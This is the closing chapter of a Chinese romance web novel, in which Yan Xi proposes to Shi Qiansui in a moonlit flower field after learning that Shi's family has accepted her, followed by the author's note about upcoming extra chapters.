不知过了多久,四片胶着的唇瓣才恋恋不舍的分开。
额头相抵,微微喘息,言浠将她手掌紧紧握在手心
两人继续沿着小路往前走。
花海的香气愈发浓郁。
走了一会,时千岁感觉言浠抓着自己的手似乎又收紧了一些。
时千岁侧头看她,见她好看的眉头微微蹙起,不禁问道,“怎么了?”
言浠停下脚步,忐忑道,“我好像把伯父和伯母惹生气了他们最后的表情是不是不同意我们在一起?”想到时来运那句“十九岁”和梁双敏瞬间严肃的脸,她心里又沉甸甸的。
时千岁噗嗤一声笑了出来,晃了晃两人紧握的手,“他们啊?就是一时半会接受不了自家小白菜这么快就被拱走,”她语调轻松,“心里指不定多满意你呢。”
“就我老爸,他要是真不同意,你能进得了我家门?更别说喝光他两瓶好酒了。”
看言浠还是一副将信将疑的样子,时千岁也不多解释,从口袋里掏出手机,手指飞快地点了两下,然后把屏幕举到言浠眼前。
屏幕的光在夜色里亮的有些刺眼。
言浠眯眼去看。
这是一个微信群聊界面。
最顶端的群名称叫【幸福一家人】。
她在往下看。
群成员列表里,分别是“挂七门”、“霸道与总裁”、“千古第一美人”、“时来运转”、“big春”,以及最下面的,一个无比熟悉的、属于她自己的微信头像,也静静的躺在其中。
“喏,看见没?”时千岁语气有点小得意,“就在刚刚,我姐把你拉进去的。”
“当然这个土里土气的群名字也是她改的。”
言浠目光晃动,盯着那个群名和自己的头像,一时竟说不出话来。
“再说了,”时千岁收起手机,重新握住了言浠的手,语气认真,“就算他们不愿意又能怎样?”
“我刚刚拉你跑出来,不就是意味着我要跟你私定终身?”
“所以,”时千岁目光灼灼地看向她,“你还不打算把你藏着掖着的东西,乖乖掏出来?”
最后一丝顾虑被彻底驱赶,言浠深吸一口带着花香的微凉空气,感觉前所未有的轻松,她看向眼前人亮晶晶的眼睛,心软得一塌糊涂。
她终于松开时千岁的手,郑重地将手伸进进外套口袋。
掏出了那个小小的丝绒盒。
在时千岁热忱的目光下,单膝跪了下去。
打开蓝色的丝绒盒,一枚设计简洁却闪耀着温润光泽的铂金戒指静静地躺在里面。
言浠仰起头,仰望着站在月光和花海里的时千岁,声音清晰且坚定。
“我喜欢你。”
“你愿意现在成为我的女朋友,将来成为我的妻子吗?”
没有华丽的辞藻,只有满腔真诚的爱意。
时千岁脸上的笑容瞬间绽放,没有任何迟疑,甚至迫不及待,“我愿意!”
言浠的手指因为紧张而微微发颤,小心翼翼地托起时千岁的手,将那枚象征着归属的戒指推进了时千岁纤细的无名指指根。
戒指带好的刹那,时千岁立刻反手握住言浠,将她从地上拉起。
又扑进她怀中,滚烫的呼吸落在耳边,“你呢?你愿意吗?”
言浠眼波温柔,“当然。”
“不,我不是这个意思,”时千岁声音带着钩子,“我是问,你愿意陪我画地图吗?”
言浠一愣,反映过来“画地图”的含义后,一句“大黄丫头”脱口而出。
“行不行嘛?”时千岁向她撒娇。
言浠抬手捏了捏她的脸蛋,宠溺道,“可以。”
时千岁脸上笑容更甚,将车钥匙晃到言浠眼前,“那今晚我们试试车、震。”
“不过,”她一个停顿,手指不安分地在言浠侧腰轻轻画着圈,跃跃欲试,“这次我先服务你。”
“老师教教我?”
【正文完结】
【作者有话说】
番外的话【就不日更啦[红心]】,会写一些日常及千金和大春的故事,大概两万字左右[红心][红心]下周内会正式完结。
谢谢大家喜欢千岁和言浠【鞠躬】[红心][红心][红心]